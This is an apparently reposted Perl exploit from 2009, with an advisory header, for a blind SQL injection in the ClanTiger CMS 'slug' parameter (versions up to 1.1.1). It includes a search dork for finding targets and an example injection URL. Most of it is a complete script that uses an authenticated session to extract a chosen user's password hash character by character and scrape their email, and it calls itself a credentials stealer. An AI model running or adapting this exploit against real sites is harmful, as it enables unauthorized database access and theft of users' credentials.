ClanTiger <= 1.1.1 (slug) Blind SQL Injection Exploit

		当前位置：主页>安全文章>文章资料>Exploits>文章内容

ClanTiger <= 1.1.1 (slug) Blind SQL Injection Exploit

来源：y3nh4ck3r[at]gmail[dot]com 作者：y3hn4ck3r 发布时间：2009-04-20

#!/usr/bin/perl
#***********************************************************************************************
#***********************************************************************************************
#**                        **
#**                  **
#**     [] [] [] [][][][> []     [] [][ ][]     []   [][]] [] [> [][][][> [][][][]    **
#**     || || || []        [][]   []   [] []     []   []      [] []   [] []   []      **
#   [> [][][][] [][][][> [] [] []   [] []   [][] []       [][]    [][][][> []    []    **
#** [-----[]-----[][][][>--[]--[]-[]---[][][]--[]-[]--[]--------[]-----[][][][>--[][][][]---\
#**==[>    []     []        []   [][]   [] [] [][][] []       [][]    []           [] [] >>--
#** [----[[]]----[]--- ----[]-----[]---[]--[]-----[]--[]-------[] []---[]----------[]--[]---/
#   [>   [[[]]]   [][][][> [][]   [] [][[] [[]] [][] [][][] [] [> [][][][> <][]   []
#**                                             **
#**                     **
#**                          ¡VIVA SPAIN!...¡GANAREMOS EL MUNDIAL!...o.O                      **
#**       ¡PROUD TO BE SPANISH!                               **
#**                 **
#***********************************************************************************************
#***********************************************************************************************
#
#----------------------------------------------------------------------------------------------
#|                 (custompage.php) BLIND SQL INJECTION                |
#|--------------------------------------------------------------------------------------------|
#|                               | CLAN TIGER CMS |            |
#| CMS INFORMATION:        ----------------           |
#|                        |
#|-->WEB: http://www.clantiger.com                       |
#|-->DOWNLOAD: http://www.clantiger.com/download-clan-cms                     |
#|-->DEMO: http://www.demo.clantiger.com/            |
#|-->CATEGORY: CMS / Portals              |
#|-->DESCRIPTION: ClanTiger is a content management system specifically designed for gaiming |
#|   clans...              |
#|                 |
#| CMS VULNERABILITY:               |
#|                 |
#|-->TESTED ON: firefox 2.0.0.20 and IE 7.0.5730 (Default)          |
#|-->DORK: "Powered by ClanTiger"             |
#|-->CATEGORY: BLIND SQL INJECTION/ PERL EXPLOIT           |
#|-->AFFECT VERSION: LAST = 1.1.1 (1.1 too)            |
#|-->Discovered Bug date: 2009-04-12             |
#|-->Reported Bug date: 2009-04-12             |
#|-->Fixed bug date: Not fixed              |
#|-->Info patch (????): Not fixed             |
#|-->Author: YEnH4ckEr               |
#|-->mail: y3nh4ck3r[at]gmail[dot]com             |
#|-->WEB/BLOG: N/A               |
#|-->COMMENT: A mi novia Marijose...hermano,cuñada, padres (y amigos xD) por su apoyo.        |
#----------------------------------------------------------------------------------------------
#
#-----------
#BUG FILE:
#-----------
#
#Path --> [HOME_PATH]/modules/custompages.php
#
#It contents:
#
# function main()
# {
#
#  ...
#
#  $page = new CustomPage();
#  $page->slug = $_GET['slug'];
#  $page->getBy(array('slug'));
#
#  if(!$page->id)
#  {
#   throw new cccException('The page you are looking for is currently    unavailable. You may need to STOP! Hammertime. If School Is Out, You    should try reloading this page.','Page not found');
#  }
#
#  $tpl->define('title',$page->title);
#  $tpl->define('content',$page->content); // we allow HTML here, no safeoutput
#
#  $this->pageDetails->setTitle($page->title);
#  $this->pageDetails->addKeyword($page->keywords);
#  $this->pageDetails->setDescription($page->description);
#
#  $this->content = $tpl->publish();
#  $this->display();
# }
#
#------------
#CONDITIONS:
#------------
#
#**DB_PREFIX="" (Default)
#
# maybe: db, db_clan, ...
#
#**Exist a custompage
#
#**gpc_magic_quotes=off
#
#---------------------------------------
#PROOF OF CONCEPT (BLIND SQL INJECTION):
#---------------------------------------
#
#[HOME_PATH]/modules/custompages.php?slug=the_custom_page' [BLIND SQL INJECTION]
#
#---------
#EXAMPLE:
#---------
#
#[HOME_PATH]/modules/custompages.php?slug=the_custom_page'%20AND%20((SELECT%20length(username)%20from%20members%20WHERE%20id=1)=5)%20/*
#
#Result: admin's username has 5 characters (maybe = admin? :P)
#
#*******************************************************************
# ESPECIAL THANKS TO: Str0ke and every H4ck3r(all who do milw0rm)!
#*******************************************************************
#-------------------------------------------------------------------
#*******************************************************************
# GREETZ TO: JosS and all spanish Hack3Rs community!
#*******************************************************************
#
#-------------------EOF---------------------------------->>>ENJOY IT!
#
use LWP::UserAgent;
use HTML::TreeBuilder 2.96;
#Subroutines
sub lw
{
my $SO = $^O;
my $linux = "";
if (index(lc($SO),"win")!=-1){
  $linux="0";
}else{
  $linux="1";
}
if($linux){
  system("clear");
}
else{
  system("cls");
  system ("title Clan Tiger CMS (module custompages.php) BLIND SQL Injection Exploit");
  system ("color 02");
}
}
sub request {
my $cookie="CCC_LANG=en;"." CCC_UID=".$_[0]."; CCC_CODE=".$_[1].";";
my $userag = LWP::UserAgent->new;
$userag -> agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
my $request = HTTP::Request -> new(GET => $_[2]);
$request->header(cookie => $cookie);
my $outcode= $userag->request($request)->as_string;
return $outcode;
}
sub helper {
print "\n\t[**] Clan Tiger CMS - BLIND SQL Injection Exploit\n";
print "\t[??] USAGE MODE: [??]\n";
print "\t[**] perl $0 [HOST] [PATH] [uid] [code] [slug] [id] [DB_PREFIX]\n";
print "\t[**] [HOST]: Web attacked.\n";
print "\t[**] [PATH]: Home Path.\n";
print "\t[**] [uid]: The CCC_UID cookie.\n";
print "\t[**] [code]: The CCC_CODE cookie.\n";
print "\t[**] [slug]: Title custompage.\n";
print "\t[**] [id]: Exploiting id user. Default: 1 (**optional)\n";
print "\t[**] [DB_PREFIX]: Global var needed. Default: null (**optional)\n";
print "\t[**] Example: perl $0 www.example.es Clan-tiger-111 f717716... \n";
print "\t[**] ...2e1a50db06c0f2fe8804885ac2c01390 namecustompage 1 \"\"\n";
}
sub mail{
$output=&request($_[0],$_[1],$_[2]);
my $root = HTML::TreeBuilder->new_from_content($output);
# source file
$email= $root->look_down('_tag','td','style','width: 70%');
print "\t-----------------------------------------------------------------\n";
print "\tMail captured!.Getting password hash. Wait for a moment...\n";
print "\t-----------------------------------------------------------------\n";
return $email -> as_text();
$root->delete();
}
sub password {
#Second password...
$j=1;
$i=48;
while(($j<=32) && ($i<=126)){
  my $finalrequest=$_[4]."'+AND+ascii(substring((SELECT+password+FROM+".$_[0]."members+WHERE+id=".$_[1]."),".$j.",1))=".$i."+/*";
  $output=&request($_[2],$_[3],$finalrequest);
  if ( $output =~ (/<title>/.$custompage))
  {
   $pass=$pass.chr($i);
   $j++;
   $i=47;
  }
if($i==57)
{
  $i=96;
}
#new char
$i++;
}
#Error
if(($i>127) || ($j>32)){
  if(!$pass){
   print "\t-----------------------------------------------------------------\n";
   print("\tEXPLOIT FAILED!\n");
   print("\tFatal error: Datas doesn't find!\n");
   print "\t-----------------------------------------------------------------\n";
   exit(1);
  }
}
return $pass;
}
#Main
&lw;
print "\t\t#########################################################\n\n";
print "\t\t#########################################################\n\n";
print "\t\t##     Clan Tiger CMS - BLIND SQL Injection Exploit    ##\n\n";
print "\t\t##    ++Conditions: Need a register user,a custompage ##\n\n";
print "\t\t##               and DB_PREFIX (default:null)          ##\n\n";
print "\t\t##                    Author: Y3nh4ck3r                ##\n\n";
print "\t\t##            Contact:y3nh4ck3r[at]gmail[dot]com       ##\n\n";
print "\t\t##                    Proud to be Spanish!             ##\n\n";
print "\t\t#########################################################\n\n";
print "\t\t#########################################################\n\n";
#Init variables
my $host=$ARGV[0];
my $path=$ARGV[1];
my $uid=$ARGV[2];
my $code=$ARGV[3];
my $custompage=$ARGV[4];
#Build the uri
my $finalhost="http://".$host."/".$path."/index.php?module=custompages&slug=";
$finalhost=$finalhost.$custompage;
#Check all variables needed
$numArgs = $#ARGV + 1;
if($numArgs<=4)
{
  &helper;
  exit(1);
}
#Id-user is optional.Default:1
if(!$ARGV[5]){
  $idhack="1";
}else{
  $idhack=$ARGV[5];
}
if(!$ARGV[6]){
  $db_prefix="";
}else{
  $db_prefix=$ARGV[6];
}
#Testing
my $finalrequest = $finalhost;
$output=&request($uid,$code,$finalrequest);
if ( $output =~ /<div class="title">Access denied<\/div>/)
{
print "\t-----------------------------------------------------------------\n";
print "\tYour credentials are not correct! This exploits need login.\n";
print "\tOptions: [your-id-user],[your-password] incorrect.\n";
print "\tExploit failed! No luck!\n";
print "\t-----------------------------------------------------------------\n";
    exit(1);
}
if ( $output =~ /<div class="title">Page not found<\/div>/)
{
print "\t-----------------------------------------------------------------\n";
print "\tCustom page doesn't exist! Maybe no there on this server!\n";
print "\tOption: [slug-get-var] incorrect.\n";
print "\tExploit failed! No luck!\n";
print "\t-----------------------------------------------------------------\n";
exit(1);
}
if ( $output =~ (/<title>/.$custompage))
{
print "\t-----------------------------------------------------------------\n";
print "\tThis Web could be vulnerable!\n";
print "\tThe custompage exists!\n";
print "\tTesting Blind SQL Injection...\n";
print "\t-----------------------------------------------------------------\n";
}else{
print "\t-----------------------------------------------------------------\n";
print "\tCustompage doesn't exist!\n";
print "\tEXPLOIT FAILED!\n";
print "\t-----------------------------------------------------------------\n";
exit(1);
}
#Test blind sql injection
my $finalrequest=$finalhost."'+AND+1=1+/*";
$output=&request($uid,$code,$finalrequest);
if ( $output =~ (/<title>/.$custompage))
{
print "\t-----------------------------------------------------------------\n";
print "\tThis Web is really vulnerable!\n";
print "\tTested Blind SQL Injection.\n";
print "\tChecking id user and DB_PREFIX null...\n";
print "\t-----------------------------------------------------------------\n";
}else{
print "\t-----------------------------------------------------------------\n";
print "\tThis Web is not vulnerable (Maybe patched)!\n";
print "\tEXPLOIT FAILED!\n";
print "\t-----------------------------------------------------------------\n";
exit(1);
}
#Test if user exists and DB_PREFIX
my $finalrequest=$finalhost."'+AND+(SELECT+COUNT(*)+from+".$db_prefix."members+WHERE+id=".$idhack.")+/*";
$output=&request($uid,$code,$finalrequest);
if ( $output =~ (/<title>/.$custompage))
{
print "\t-----------------------------------------------------------------\n";
print "\tOK...The user exists and DB_PREFIX is '".$db_prefix."'!\n";
print "\tStarting exploit...\n";
print "\t-----------------------------------------------------------------\n";
print "\tWait several minutes...\n";
print "\t-----------------------------------------------------------------\n";
}else{
print "\t-----------------------------------------------------------------\n";
print "\tUser doesn't exists or DB_PREFIX not '".$db_prefix."'\n";
print "\tEXPLOIT FAILED!\n";
print "\t-----------------------------------------------------------------\n";
exit(1); }
#OK, now we get the mail user from web
#i got it from blind sql but this method is faster and reduce time of injection
#First email...
my $hostmail="http://".$host."/".$path."/index.php?module=profiles&action=view&id=".$idhack;
$mail=&mail($uid,$code,$hostmail);
$passhash=&password($db_prefix,$idhack,$uid,$code,$finalhost);
print "\n\t\t*************************************************\n";
print "\t\t**** EXPLOIT EXECUTED (CREDENTIALS STEALER) ****\n";
print "\t\t*************************************************\n\n";
print "\t\tUser-id:".$idhack."\n";
print "\t\tUser-email:".$mail."\n";
print "\t\tUser-password(hash):".$passhash."\n\n";
print "\n\t\t----------------------FINISH!--------------------\n\n";
print "\t\t---------------Thanks to: y3hn4ck3r--------------\n\n";
print "\t\t------------------------EOF----------------------\n\n";
exit(1);
#Ok...all job done

[